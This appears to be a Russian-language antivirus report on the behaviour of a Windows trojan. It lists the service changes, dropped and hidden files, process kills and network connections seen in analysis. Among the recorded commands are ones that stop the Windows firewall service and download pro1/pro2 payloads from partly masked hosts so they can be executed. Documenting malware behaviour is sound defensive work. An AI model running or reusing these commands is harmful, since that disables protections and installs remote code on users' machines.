Техническая информация
Для обеспечения автозапуска и распространения:
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet002\Services\wscsvc] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\wscsvc] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- '<SYSTEM32>\newone\pro1.exe'
- '<SYSTEM32>\newone\waht.exe' http://www.mj##x.com/r/db/dbeyond/pro2.txt pro2.exe
- '<SYSTEM32>\newone\pro2.exe'
- '<SYSTEM32>\newone\waht.exe' http://www.ba##u.com/duty/index.html test.txt
- '<SYSTEM32>\newone\clean.exe'
- '<SYSTEM32>\newone\waht.exe' http://www.mj##x.com/r/db/dbeyond/pro1.txt pro1.exe
- '<SYSTEM32>\newone\pro2.exe' (загружен из сети Интернет)
- '<SYSTEM32>\newone\pro1.exe' (загружен из сети Интернет)
Запускает на исполнение:
- '<SYSTEM32>\net1.exe' stop SharedAccess
- '<SYSTEM32>\sc.exe' config wscsvc start= auto
- '<SYSTEM32>\sc.exe' config SharedAccess start= disabled
- '<SYSTEM32>\taskkill.exe' /f /im timeVVisit.exe
- '%WINDIR%\regedit.exe' /s domain.reg
- '<SYSTEM32>\net.exe' stop SharedAccess
- '<SYSTEM32>\attrib.exe' -r -s -a -h repaig.vbe
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 2
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 25
- '<SYSTEM32>\wscript.exe' "<SYSTEM32>\clean.vbs"
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 5
- '<SYSTEM32>\cmd.exe' /c ""<SYSTEM32>\clean.bat" "
- '<SYSTEM32>\taskkill.exe' /f /im vvisittime.exe
- '<SYSTEM32>\taskkill.exe' /f /im ping.exe
- '<SYSTEM32>\taskkill.exe' /f /im vvisit.exe
- '<SYSTEM32>\taskkill.exe' /f /im firefox.exe
- '<SYSTEM32>\wscript.exe' "<SYSTEM32>\newone\lcd.vbe"
- '<SYSTEM32>\taskkill.exe' /f /im ntvdm.exe
- '<SYSTEM32>\taskkill.exe' /f /im cmd.exe
- '<SYSTEM32>\taskkill.exe' /f /im wscript.exe
- '<SYSTEM32>\taskkill.exe' /f /im waituser.exe
- '<SYSTEM32>\taskkill.exe' /f /im waht.exe
- '<SYSTEM32>\taskkill.exe' /f /im Privoxy.exe
- '<SYSTEM32>\ntvdm.exe' -f -i1
- '<SYSTEM32>\taskkill.exe' /f /im winlogan.exe
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\cmd.exe
следующие пользовательские процессы:
- firefox.exe
- ntvdm.exe
Изменения в файловой системе:
Создает следующие файлы:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\C9AV0TER\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\IL1XMQ95\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\TAVRBWHX\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini
- <SYSTEM32>\APPLE.EXE
- <SYSTEM32>\clean.bat
- <SYSTEM32>\clean.vbs
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\QTYBRPSH\desktop.ini
- <SYSTEM32>\newone\pro1.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\TAVRBWHX\pro2[1].txt
- <SYSTEM32>\newone\pro2.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\IL1XMQ95\pro1[1].txt
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\C9AV0TER\index[1].html
- <SYSTEM32>\newone\test.txt
- <SYSTEM32>\TEMP6\VVT\REPAIG.VBE
- <SYSTEM32>\newone\guest.exe
- <SYSTEM32>\newone\temp.exe
- <SYSTEM32>\newone\waht.exe
- <SYSTEM32>\newone\gr.EXE
- <SYSTEM32>\newone\diskgen.com
- <SYSTEM32>\newone\apple.exe
- <SYSTEM32>\newone\clean.exe
- <SYSTEM32>\newone\xiantoubudui.exe
- %WINDIR%\Temp\scs1.tmp
- %WINDIR%\Temp\scs2.tmp
- <SYSTEM32>\DISKGEN.COM
- <SYSTEM32>\newone\repaig.vbe
- <SYSTEM32>\newone\domain.reg
- <SYSTEM32>\newone\kill.VBE
- <SYSTEM32>\newone\lcd.VBE
Присваивает атрибут 'скрытый' для следующих файлов:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\IL1XMQ95\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\TAVRBWHX\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\QTYBRPSH\desktop.ini
- <SYSTEM32>\newone\domain.reg
- <SYSTEM32>\newone\repaig.vbe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\C9AV0TER\desktop.ini
Удаляет следующие файлы:
- <SYSTEM32>\newone\domain.reg
- <SYSTEM32>\newone\test.txt
- <SYSTEM32>\newone\repaig.vbe
- %WINDIR%\Temp\scs1.tmp
- %WINDIR%\Temp\scs2.tmp
- <SYSTEM32>\newone\apple.exe
Перемещает следующие файлы:
- <SYSTEM32>\TEMP6\VVT\REPAIG.VBE в <SYSTEM32>\TEMP6\VVT\CONFIG.INI
Сетевая активность:
Подключается к:
- 'www.mj##x.com':80
- 'localhost':1041
- 'localhost':1039
- 'localhost':1036
- '12#.#25.114.144':80
TCP:
Запросы HTTP GET:
- www.mj##x.com/r/db/dbeyond/pro2.txt
- www.mj##x.com/r/db/dbeyond/pro1.txt
- 12#.#25.114.144/duty/index.html
UDP:
- DNS ASK www.mj##x.com
- DNS ASK www.ba##u.com
Другое:
Ищет следующие окна:
- ClassName: 'ConsoleWindowClass' WindowName: 'ntvdm-c5c.c60.3e0001'
- ClassName: 'RegEdit_RegEdit' WindowName: '(null)'
- ClassName: '(null)' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
